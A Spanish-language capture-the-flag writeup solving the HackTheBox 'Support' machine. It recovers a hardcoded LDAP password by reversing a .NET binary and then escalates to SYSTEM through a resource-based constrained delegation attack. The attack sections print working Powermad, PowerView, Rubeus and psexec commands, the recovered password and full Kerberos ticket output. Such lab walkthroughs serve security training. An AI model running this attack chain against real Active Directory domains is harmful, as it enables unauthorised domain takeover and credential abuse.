Inicio Support Writeup - HackTheBox
Entrada
Cancelar

Support Writeup - HackTheBox

Resumen

Support de la plataforma HackTheBox es una máquina Windows de dificultad Easy muy interesante creada por 0xdf. Involucra conceptos de reversing en una binario .NET, enumeración SMB/LDAP, autenticación de kerberos y más.

Enumeración

Nmap

Veremos que encontramos los puertos típicos de un controlador de dominio, sin sitios web.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
Nmap scan report for 10.129.57.104
Host is up (0.15s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-12-17 20:23:49Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc         Microsoft Windows RPC
49709/tcp open  msrpc         Microsoft Windows RPC
62374/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=12/17%Time=639E255A%P=x86_64-pc-linux-gnu%r(DNS
SF:VersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version
SF:\x04bind\0\0\x10\0\x03");
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -1s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2022-12-17T20:26:13
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 307.60 seconds

SMB - 445 TCP

Iniciando con SMB, vemos que el dominio es support.htb y el nombre de la máquina víctima es dc.

Para la enumeración de directorios compartidos, veremos que SMB nos arroja error cuando intentamos autenticar con usuario y contraseña NULL.

Sin embargo, cuando lo hacemos con un usuario ficticio, en este caso asdfg, si que podemos ver los shares.

Salta a la vista inmediatamente el directorio support-tools, en el cual tenemos permisos de lectura.

Enumerando un poco más a fondo con smbmap vemos que existen utilidades típicas de una mesa de ayuda de soporte a excepción de una, que además tiene una fecha de modificación distinta al resto.

Descargaremos UserInfo.exe.zip.

El compromido contiene un binario .exe, un fichero de configuración y múltiples .dll.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
~/Documents/HTB/Support/content/smb ❯ unzip 10.129.57.104-support-tools_UserInfo.exe.zip 
Archive:  10.129.57.104-support-tools_UserInfo.exe.zip
  inflating: UserInfo.exe            
  inflating: CommandLineParser.dll   
  inflating: Microsoft.Bcl.AsyncInterfaces.dll  
  inflating: Microsoft.Extensions.DependencyInjection.Abstractions.dll  
  inflating: Microsoft.Extensions.DependencyInjection.dll  
  inflating: Microsoft.Extensions.Logging.Abstractions.dll  
  inflating: System.Buffers.dll      
  inflating: System.Memory.dll       
  inflating: System.Numerics.Vectors.dll  
  inflating: System.Runtime.CompilerServices.Unsafe.dll  
  inflating: System.Threading.Tasks.Extensions.dll  
  inflating: UserInfo.exe.config     

Acceso LDAP

Analizaremos el binario Userinfo.exe para ver de que se trata.

1
2
~/Documents/HTB/Support/content/smb ❯ file UserInfo.exe
UserInfo.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

Es un archivo .Net, por lo tanto, podemos llevarlo a una VM Windows para ejecutarlo o bien hacerlo en Linux si contamos con el ambiente configurado. De no ser así, se puede instalar realizando lo siguiente:

  1. Instalar powershell. Existe una guía en la página oficial de Microsoft, en nuestro caso utilizaremos la que está enfocada Ubuntu.

  2. Instalar dotnet-sdk. Para esto también se puede obtener la documentación desde la página oficial de Microsoft.

  3. Instalar mono. En mi caso utilicé el paquete mono-complete. apt-get install -y mono-complete.

Mas información en el video de ippsec.

Volviendo al binario UserInfo.exe, al ejecutarlo vemos lo siguiente.

Si utilizamos la sintaxis correcta, en modo verbose nos indicará exactamente que es lo que está haciendo.

Vemos que está intentando obtener información a través de LDAP en base a la información proporcionada.

Nota: Se debe agregar support.htb a /etc/hosts previamente, de lo contrario arrojará error de conexión.

Método 1 - Utilizando Wireshark

Esta vez realizaremos la misma consulta pero analizaremos el tráfico generado con Wireshark.

Vemos que en tráfico generado por el procotolo LDAP, tenemos un bindrequest hacia support\ldap. Lo cual nos indica directamente que está utilizando el usuario ldap para la autenticación.

Si nos fijamos en la información en el panel inferior y extendemos Lightweight Directory Access Procotol en adelante, veremos que se nos muestra la clave con la que se realiza la autenticación.

También es posible llegar a esto si hacemos click derecho sobre el paquete y vamos a Follow > TCP Stream.

Método 2 - Reversing Userinfo.exe

También es posible tomar el binario hacia una VM Windows y analizarlo con dnspy o similares.

Si abrimos el binario y navegamos hasta Userinfo.Services, en la función LdapQuery veremos como se realiza la autenticación y consulta hacia el servidor LDAP.

LdapQuery()

1
2
3
4
5
6
7
8
9
10
11
public static string getPassword()
{
	byte[] array = Convert.FromBase64String(Protected.enc_password);
	byte[] array2 = array;
	for (int i = 0; i < array.Length; i++)
	{
		array2[i] = (array[i] ^ Protected.key[i % Protected.key.Length] ^ 223);
	}
	return Encoding.Default.GetString(array2);
}

La contraseña se está obteniendo como variable desde la función getPassword. Podemos navegar a esta función y veremos como se está generando la contraseña.

1
2
3
4
5
6
7
8
9
10
11
public static string getPassword()
{
	byte[] array = Convert.FromBase64String(Protected.enc_password);
	byte[] array2 = array;
	for (int i = 0; i < array.Length; i++)
	{
		array2[i] = (array[i] ^ Protected.key[i % Protected.key.Length] ^ 223);
	}
	return Encoding.Default.GetString(array2);
}

Para conseguir la contraseña en texto claro, es necesario obtener el contenido de enc_password y key.

enc_password

1
private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";

key

1
private static byte[] key = Encoding.ASCII.GetBytes("armando");

Con esta información ya es posible construir un script en python que genere la contraseña.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/python3
import base64

key = b'armando'
enc_password = b'0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E'

password = base64.b64decode(enc_password)

final_pass = ''
for i in range(len(password)):
    calc = password[i] ^ key[i % len(key)] ^ 223
    final_pass += chr(calc)

print(final_pass)

Al ejecutarlo obtendremos la contraseña del usuario ldap.

Método 3 - Debug Userinfo.exe

Otra forma de obtener la contraseña, es ejecutar el binario con un debuger y añadir un breakpoint en la línea de código que recibe la contraseña en texto claro.

Para lo anterior, abriremos nuevamente UserInfo.exe con dnspy y añadiremos un breakpoint F9 en la línea 5 de la función LdapQuery.

Ahora con F5 o desde el menu Debug > Start Debugging…. Ejecutaremos el binario pasándole los argumentos -v find -first 'cervant' al igual que como lo hicimos desde consola.

El programa se ejecuta y se detiene en el breakpoint seteado pero de momento el campo password se encuentra en NULL.

En este punto deberemos continuar al paso siguiente F10 o con el botón Step Over

Con esto ya veremos la clave en texto claro en el panel inferior.

En este caso también sería factible aplicar el breakpoint directamente en la linea donde se utiliza la contraseña en la query LDAP.

Consola como support

Ya teniendo la contraseña, procederemos a validarla con CrackMapExec.

Es válida para el servicio SMB pero no para winRM como era de esperarse.

Lo primero será enumerar otros usuarios dentro de la máquina.

users.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Administrator
Guest
krbtgt
DC$
ldap
support
smith.rosario
hernandez.stanley
wilson.shelby
anderson.damian
thomas.raphael
levine.leopoldo
raven.clifton
bardot.mary
cromwell.gerard
monroe.david
west.laura
langley.lucy
daughtler.mabel
stoll.rachelle
ford.victoria
MANAGEMENT$

Enumeraremos LDAP con las credenciales obtenidas utilizando ldapdomaindump.

1
ldapdomaindump -u support.htb\\ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' support.htb -o ldap

Si revisamos el archivo domain_users.json, veremos que hay un atributo llamado info que contiene lo que parece ser una contraseña.

Realizaremos un password spraying sobre los usuarios que obtuvimos anteriormente.

Validamos que la contraseña corresponde al usuario support y este puede autenticar tanto en SMB como en winRM.

Bloodhound

Una vez dentro de la máquina como el usuario support, utilizaremos Bloodhound para enumerar el sistema y buscar posibles vías para la escalada de privilegios.

Subiremos SharpHound.exe y al ejecutarlo nos generará un comprimidoc con toda la información recolectada que posteriormente subiremos a Bloodhound.

Una vez importada la data, veremos que el usuario support pertenece al grupo Shared Support Accounts, el cual tiene permisos GenericAll sobre dc.support.htb.

Si clicamos sobre GenericAll y vamos a Help > Abuse Info, nos dará instrucciones sobre como explotarlo.

Según la información, es posible realizar un ataque de tipo Resource based constrained delegation attack. Hacktricks tiene un articulo sobre como explotarlo.

Consola como administrator

El proceso para abusar rbcd es el siguiente.

  1. Agregar un nuevo equipo al dominio.
  2. El nuevo equipo operará como DC y permitirá solicitar Ticket-Grating-Ticket (TGT) de Kerberos.
  3. El ticket permitirá impersonar al usuario administrador o cualquier otro.

Para esto necesitaremos PowerMad, PowerView y Rubeus.

Ejecutar ataque rbcd

Desde la máquina victima conectados a través de Evil-Winrm, subiremos las herramientas y primero crearemos el equipo para impersonar.

1
2
Import-Module .\Powermad.ps1
Import-Module .\PowerView.ps1
1
New-MachineAccount -MachineAccount CervantComputer -Password $(ConvertTo-SecureString 'cervant123' -AsPlainText -Force) -Verbose

Una vez creada la máquina, configuraremos la delegación de privilegios para que nuestro equipo tenga la capacidad de impersonar cuentas dentro del dominio.

1
Set-ADComputer dc -PrincipalsAllowedToDelegateToAccount CervantComputer$

Podemos validar con el siguiente comando.

1
Get-ADComputer dc -Properties PrincipalsAllowedToDelegateToAccount

Obtener TGT

Primero deberemos obtener el hash de nuestro equipo/contraseña.

1
.\Rubeus.exe hash /password:cervant123 /user:CervantComputer$ /domain:support.htb

La parte que nos interesa, es el hash rc4_hmac.

Este hash lo utilizaremos para obtener el ticket.

1
.\Rubeus.exe s4u /user:CervantComputer$ /rc4:86D12C61783F55DE31BD2930442E322C /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
*Evil-WinRM* PS C:\Users\support\Documents> .\Rubeus.exe s4u /user:CervantComputer$ /rc4:86D12C61783F55DE31BD2930442E322C /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0

[*] Action: S4U

[*] Using rc4_hmac hash: 86D12C61783F55DE31BD2930442E322C
[*] Building AS-REQ (w/ preauth) for: 'support.htb\CervantComputer$'
[*] Using domain controller: ::1:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      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
      dGd0GwtzdXBwb3J0Lmh0Yg==


[*] Action: S4U

[*] Building S4U2self request for: 'CervantComputer$@SUPPORT.HTB'
[*] Using domain controller: dc.support.htb (::1)
[*] Sending S4U2self request to ::1:88
[+] S4U2self success!
[*] Got a TGS for 'administrator' to 'CervantComputer$@SUPPORT.HTB'
[*] base64(ticket.kirbi):

      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
      AQGhFDASGxBDZXJ2YW50Q29tcHV0ZXIk

[*] Impersonating user 'administrator' to target SPN 'cifs/dc.support.htb'
[*] Building S4U2proxy request for service: 'cifs/dc.support.htb'
[*] Using domain controller: dc.support.htb (::1)
[*] Sending S4U2proxy request to domain controller ::1:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/dc.support.htb':

      doIGcDCCBmygAwIBBaEDAgEWooIFgjCCBX5hggV6MIIFdqADAgEFoQ0bC1NVUFBPUlQuSFRCoiEwH6AD
      AgECoRgwFhsEY2lmcxsOZGMuc3VwcG9ydC5odGKjggU7MIIFN6ADAgESoQMCAQWiggUpBIIFJTsrd623
      RKZpwZvc1XCXp4EXZXFXqqHUuMFGMyovX+MX7OcjrqR1KM8EqPn9H4KfTeCkYBS08Z85Xc6bsOCucf18
      Ks1kDd8ZwFSWY0CbEvHPbR8Fx08FsoPOP+pTreSzO5+Fc8Vpb9nXRbQ4RNBk09beHaIHvyJpXyQW6Yjp
      /y+naSDETXGmZUOYUlCtzNaB3pidgtivmlqtBcW9gVPso9/y4tu9FkriVzBcldeSvebqOtYB5Qnv2GsO
      /4M/a3qYyLJ9iYWhKn+OrgoIMf1mAsKPmni3sTm06Cqgqj1FVsSln255ZkSrpgqdMeDLR9agIwgDJiXW
      JyU3egidniBFBZdyOzxBFTgVO4P7ubuhMtZ8XM2V7Opseo/k2F48X4uLpGPXNSt7M3fyxBp8DUfDgbuu
      7WA9VIdX2lgAYo+UTxAOZTjiXevAyTWVkUsYZEgJy3Js6zsEil/yrXhR6E4oOEa9llegdRa6OPw1cXAA
      ikIPGO1BSKKu++tN9lTAhofzl0IIW+xTGBjQvk3LmJlTfSO3NldtqcLXaTZDCTvjRyiKpR+PetI9/u1v
      RiK7AqGPNe46KazONiJRLjUOL4YWax1+h0d60WkPq/icfIYGUl8PzYDYaaXkGcdqOhMn/xLEJdCpMq1G
      5c9RXpRoHwTcpo8pWLEl1haIUdzlxkJEUGhSQAYdP5HpTgo+LDxIDAriU71/IO5mmXBeDQwf3AIi7mY1
      NLwal7DFqHQZp99mqROSSrCpj6Uy2HpE5EzN1Gu4r3xKA/+3MjwNoz0obp1KCi7DHDyiwG4xfir09TMe
      0tkNX1V+5yBDao/0MKXIFOOz2rwxygvZZenYFCmnJ5MpTjtOFq5wl19a1lvRKxuxXM405iHkBj9aosXs
      SCT0lf75L1npFoE4gvg+tLIhMNwPEhPn4uI1+zgv6l0eAJHavwSDkTvqQtwMgqUMx2zYf8jbMSvLLil9
      OuveQShz7VzQYokcSWunWGBuej1UISokCoVvkufFaG+HAwqlykbCAKXb5OZiu3t4k4Tqyi8Di1BlKgzm
      o2+mDJcGXeURjrv/4eiTA41JvtCJJgYOkJdd35nuyIEkkB62C1RkpENFu3rDJTtsGx8YNCsUXjIVKGr2
      EVqFfcX8B82rRGy6XmTVaouBOaz6FFRvmVi/rDyyfgh16mrq9pCDBVfqXvvAAfLIBOfLLHhgcR6sHzEN
      Q7reAPRi8Els3sW8Z/C3Us6KSmzy//i2XfwW2yWf1tjAfwOAB2iGnG2zWQyEjlMWZptjgKP65GK/h3+B
      kJzgAl95JODEdHyqU+bsftKEJMrgQwxJXFLI8xlH97Hgk1wcSL+F/11G4plkRuxiKvP2IdZfsbkgETnh
      XJo8U3FK6lfdyEzXBz7iOze+Eam26mQ4fnJ87E9sBeYSsCJOxiOqy03bXpPpWTXOeg/JRjLW6GkkvPRq
      iNpB4j+0pdnqCT5BN5HpWAajhPRB7mPSCcY+ZCGIMzdcoJ0xh/WVUdn9tilojprjMcgqezFwxiFG0AY1
      ciCy/TzPXG04o8aUqhxMdm8g1UHGuVVehoBvmxjZCMkT2r3S5mpynAdimIIBEFHTkOy+OcE4/Fu/UUk1
      aRyJmWZyZTW5vkucjh6kFdux9vmo+6ZmNdiRUJhXPSFWkWyYOTrItBn1ES5SDuk/PpBsH3l0wn7OTZx1
      hAL4fI/drnnjoTsRDdOBBNPdeim/kOCDxjoNEkD58xFTspnf1lfA/dYXEBplnNfCfTX0w6OB2TCB1qAD
      AgEAooHOBIHLfYHIMIHFoIHCMIG/MIG8oBswGaADAgERoRIEEAS2uQ/FdigrOMMQOfjUvGShDRsLU1VQ
      UE9SVC5IVEKiGjAYoAMCAQqhETAPGw1hZG1pbmlzdHJhdG9yowcDBQBApQAApREYDzIwMjIxMjE4MDEy
      MTE1WqYRGA8yMDIyMTIxODExMjExNVqnERgPMjAyMjEyMjUwMTIxMTVaqA0bC1NVUFBPUlQuSFRCqSEw
      H6ADAgECoRgwFhsEY2lmcxsOZGMuc3VwcG9ydC5odGI=
[+] Ticket successfully imported!

Este ticket debería funcionar directamente en nuestra sesión y darnos privilegios de administrador, pero no es nuestro caso. Por lo tanto, tendremos que descargar el ticket y utilizarlo remotamente.

Tomaremos el último ticket en base64 y lo descargaremos a nuestra máquina.

Lo decodificaremos.

Es importante que no contenga espacios en blanco para su correcta decodificación.

1
cat ticket.kirbi.b64 | base64 -d > ticket.kirbi

Una vez hecho esto, utilizaremos la herramienta ticketConverter.py de Impacket para convertir el ticket al formato correcto.

Por último, nos conectaremos como administrador a la máquina víctima, pero antes deberemos exportar una variable de entorno para indicarle a psexec desde donde debe importar el ticket.

1
export KRB5CCNAME=ticket.ccache

Con psexec.py deberemos especificar los argumentos -k (para utilizar autenticación de Kerberos) y -no-pass.

Obtendremos una consola como nt authority\system.

Las flags se encuentran en:

  • C:\Users\support\Desktop\user.txt
  • C:\Users\Administrator\Desktop\root.txt

Recursos y enlaces

Esta entrada está licenciada bajo CC BY 4.0 por el autor.